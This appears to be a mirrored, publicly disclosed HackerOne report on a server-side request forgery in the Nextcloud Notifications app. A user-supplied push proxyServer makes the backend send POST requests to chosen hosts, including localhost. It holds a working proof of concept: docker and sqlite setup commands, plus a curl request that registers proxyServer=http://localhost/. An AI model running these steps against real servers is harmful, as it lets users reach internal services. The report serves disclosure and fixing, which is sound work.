HexBrain

Nextcloud · Report #3623149

SSRF via User-Controlled Push proxyServer in Notifications Push Registration

Validstatus
mediumseverity
48upvotes
30 Sept 2026disclosed

How it was found

Summary:

An authenticated low-privilege user can register a push device with an attacker-controlled proxyServer through POST /ocs/v2.php/apps/notifications/api/v2/push Later, when a notification is triggered for that user, the backend performs a server-side POST request to {proxyServer}/notifications. This creates an SSRF primitive (server-side outbound request) to attacker-chosen targets, including localhost/internal services.

Version:

==Notifications app: 5.0.0==

Code:

- notifications-master\lib\Controller\PushController.php (accepts user proxyServer, NoAdminRequired route)
- notifications-master\lib\Push.php (sendNotificationsToProxies(), server-side POST $proxyServer.'/notifications')

Steps To Reproduce:

  1. Log in as a normal user (e.g., yoyo) and create an app password.
  2. Register a push device using OCS push API with:
  • valid pushTokenHash
  • valid devicePublicKey
  • proxyServer=http://localhost/
  1. Trigger a push event for that user (occ notification:test-push yoyo --files).
  2. Check server logs and observe internal outbound request from backend:
  • POST /notifications
  • source 127.0.0.1
  • UA Nextcloud Server Crawler
  1. Observed Evidence (from your run)
  • Push registration returned HTTP/1.1 201 Created.
  • Log line confirms backend SSRF request:
  • 127.0.0.1 ... "POST /notifications HTTP/1.1" ... "Nextcloud Server Crawler"

PoC:

  1. Base info
$base='http://192.168.51.102:8082'
$u='yoyo'

{F5591439}

  1. Create an app password for yoyo (copy the value shown after "app password:")
docker exec -u www-data nextcloud-new php occ user:auth-tokens:add yoyo --no-interaction

{F5591441}

  1. Ensure the user is not in DND mode (push may be skipped when DND is enabled)
docker exec nextcloud-new sqlite3 /var/www/html/data/owncloud.db "update oc_user_status set status='online', is_user_defined=1 where user_id='yoyo';"

{F5591458}

{F5591455}

  1. Create a sample public key file
$keyFile = Join-Path $env:TEMP 'nc_push_pub.pem'
$pem = @'
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2Or1KumSDfk8dT0MuCW9
WS5wkVOpNsbz2OIJFBYrBvu6joC2iQo9StONMaXoTQj5Ucak9UBtC60PHyTkIDFb
HOpCST5onmIAtZdqHN/3ABOBeHVU/notdRIl/menGM64jiqGWvE06F1+yZ8GGcGQ
8RKzabqMd2K1iUohXP625uzTABVaiwz3u8nGEwui5R6Pf5Fy6DccuqdUMtJIfW21
Z4Tj48Tw+pR+fUrGpa1Wg+wiwlg7ISK8Symml1Rd6hSRXK2t8Opm/kjH9ZX8oVwn
RSO1ehjzRpTY+gdw/5gvwMZI0XmrIanZmZHwePRR4HC6FLPrL2OQG3gWikDIPyTS
hQIDAQAB
-----END PUBLIC KEY-----
'@
Set-Content -Path $keyFile -Value $pem -NoNewline -Encoding ascii

{F5591461}

  1. Register a push device with a user-controlled proxyServer. Replace ==APP_PASS== with the app password from ==step 1==
$appPass='APP_PASS'
$pushHash=('a'*128)

curl.exe -i -s -u "$u`:$appPass" `
  -H "OCS-APIRequest: true" `
  -H "Accept: application/json" `
  --data-urlencode "pushTokenHash=$pushHash" `
  --data-urlencode "devicePublicKey@$keyFile" `
  --data-urlencode "proxyServer=http://localhost/" `
  "$base/ocs/v2.php/apps/notifications/api/v2/push?format=json"

=> Expected: HTTP/1.1 201 Created

{F5591477}

  1. Trigger one push notification
docker exec -u www-data nextcloud-new php occ notification:test-push yoyo --files -vvv

{F5591486}

  1. Verify evidence in logs
docker logs --since 5m nextcloud-new 2>&1 | Select-String "POST /notifications|Nextcloud Server Crawler|api/v2.php/apps/notifications/api/v2/push"

Expected evidence pattern:

  • 127.0.0.1 - - [...] "POST /notifications HTTP/1.1" ... "Nextcloud Server Crawler"

{F5591492}

Impact

  • Authenticated users can force backend HTTP POST requests to user-selected destinations.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original